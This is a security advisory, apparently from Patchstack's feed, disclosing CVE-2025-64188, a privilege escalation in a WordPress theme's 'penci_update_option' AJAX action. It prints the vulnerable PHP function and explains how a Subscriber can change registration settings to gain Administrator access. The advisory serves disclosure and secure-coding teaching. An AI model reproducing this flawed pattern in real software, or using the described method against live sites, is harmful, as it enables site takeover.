&lt;p class=&quot;wp-block-paragraph&quot;&gt;In versions &lt;strong&gt;8.6.9&lt;/strong&gt; and below, the theme is vulnerable to privilege escalation, due to allowing any logged-in user to change global site settings, such as &lt;em&gt;users_can_register&lt;/em&gt; and &lt;em&gt;default_role,&lt;/em&gt; through the &lt;em&gt;&lt;strong&gt;penci_update_option&lt;/strong&gt;&lt;/em&gt; AJAX action. This action requires nonce validation, but does not check the user’s permissions or limit what options can be changed. Additionally, the nonce in question is available to any user able to access &lt;em&gt;/wp-admin&lt;/em&gt;. Put together, this means any Subscriber or higher user is able to change site registration settings to allow new users to be created as Administrators, leading to a full site takeover.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;This vulnerability has been patched in version &lt;strong&gt;8.6.9.1&lt;/strong&gt; and is tracked with &lt;strong&gt;CVE-2025-64188&lt;/strong&gt;.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The root cause of the issue lies in the &lt;strong&gt;&lt;em&gt;penci_update_option&lt;/em&gt;&lt;/strong&gt; function:&lt;/p&gt;



&lt;pre title=&quot;inc/dashboard/class-penci-dashboard.php&quot; class=&quot;wp-block-code has-small-font-size&quot;&gt;&lt;code lang=&quot;php&quot; class=&quot;language-php&quot;&gt;public function penci_update_option() {
	check_ajax_referer( &amp;#39;ajax-nonce&amp;#39;, &amp;#39;nonce&amp;#39; );
	$option_name = isset( $_POST[&amp;#39;option_name&amp;#39;] ) ? sanitize_text_field( wp_unslash( $_POST[&amp;#39;option_name&amp;#39;] ) ) : &amp;#39;&amp;#39;;
	$option_val  = isset( $_POST[&amp;#39;option_val&amp;#39;] ) ? wp_unslash( $_POST[&amp;#39;option_val&amp;#39;] ) : &amp;#39;&amp;#39;;

	if ( $option_name &amp;amp;&amp;amp; $option_val ) {
		update_option( $option_name, $option_val );
		wp_send_json_success( array( &amp;#39;message&amp;#39; =&amp;gt; &amp;#39;Option updated successfully.&amp;#39; ) );
	} else {
		wp_send_json_error( array( &amp;#39;message&amp;#39; =&amp;gt; &amp;#39;Invalid option name.&amp;#39; ) );
	}
}&lt;/code&gt;&lt;/pre&gt;



&lt;h2 class=&quot;wp-block-heading has-text-align-left&quot;&gt;&lt;strong&gt;The patch&lt;/strong&gt;&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;In version 8.6.9.1, the vulnerability is mitigated with the addition of a &lt;em&gt;current_user_can&lt;/em&gt; permissions check, ensuring that only legitimate, privileged users are allowed to use this AJAX action.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image aligncenter size-large&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;1024&quot; height=&quot;184&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2025/12/Screenshot-2025-12-09-at-9.24.44-PM-1024x184.png&quot; alt=&quot;A screenshot of diff output between the unpatched and patched version of the file, showing the addition of a current_user_can() permission check.&quot; class=&quot;wp-image-24930&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2025/12/Screenshot-2025-12-09-at-9.24.44-PM-1024x184.png 1024w, https://wp.patchstack.com/wp-content/uploads/2025/12/Screenshot-2025-12-09-at-9.24.44-PM-300x54.png 300w, https://wp.patchstack.com/wp-content/uploads/2025/12/Screenshot-2025-12-09-at-9.24.44-PM-768x138.png 768w, https://wp.patchstack.com/wp-content/uploads/2025/12/Screenshot-2025-12-09-at-9.24.44-PM-1536x276.png 1536w, https://wp.patchstack.com/wp-content/uploads/2025/12/Screenshot-2025-12-09-at-9.24.44-PM.png 1816w&quot; sizes=&quot;auto, (max-width: 1024px) 100vw, 1024px&quot; /&gt;&lt;/figure&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;Conclusion&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Nonce validation is essential for any site functionality that can cause changes, and a lack of nonce validation can lead to other vulnerabilities, such as CSRF attacks.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;However, like the &lt;a href=&quot;https://developer.wordpress.org/reference/functions/check_ajax_referer/&quot;&gt;WordPress developer documentation&lt;/a&gt; says:&lt;/p&gt;



&lt;blockquote class=&quot;wp-block-quote is-layout-flow wp-block-quote-is-layout-flow&quot;&gt;
&lt;p class=&quot;wp-block-paragraph&quot;&gt;Nonces should never be relied on for authentication, authorization, or access control. Protect your functions using &lt;a href=&quot;https://developer.wordpress.org/reference/functions/current_user_can/&quot;&gt;current_user_can()&lt;/a&gt; and always assume that nonces can be compromised.&lt;/p&gt;
&lt;/blockquote&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Even when limited to only show to the correct users, a nonce is not a substitute for proper user validation, as the risk of compromise always exists. And when shown more broadly, such as in this case, it leads to a common problem in many WordPress components, where access control is only limited by who can click the &lt;em&gt;View Page Source&lt;/em&gt; button and find a nonce hiding in there.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Privileged functionality should &lt;strong&gt;always&lt;/strong&gt; be specifically validating permissions, and cannot just assume that only the correct users will have the needed nonce.&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;Want to learn more about finding and fixing vulnerabilities?&lt;/h2&gt;














&lt;div class=&quot;block-vuln-cta wp-block-patchstack-general-blocks-vuln-cta-end&quot;&gt;
    &lt;p class=&quot;block-vuln-cta__title&quot;&gt;🤝 You can help us make the Internet a safer place&lt;/p&gt;
    &lt;div class=&quot;blocks-container--center blocks-grid--3&quot;&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Plugin developer?&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Streamline your disclosure process to fix vulnerabilities faster and comply with CRA.&lt;/p&gt;
            &lt;a href=&quot;/for-plugins/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;Get started for free&lt;/a&gt;
        &lt;/div&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Hosting company?&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Protect your users too! Improve server health and earn added revenue with proactive security.&lt;/p&gt;
            &lt;a href=&quot;/for-hosts/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;Patchstack for hosts&lt;/a&gt;
        &lt;/div&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Security researcher?&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Report vulnerabilities to our gamified bug bounty program to earn monthly cash rewards.&lt;/p&gt;
            &lt;a href=&quot;/bug-bounty/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;Learn more&lt;/a&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;</content:encoded><category>Featured</category><category>Security Advisories</category><author>Chazz Wolcott</author></item></channel></rss>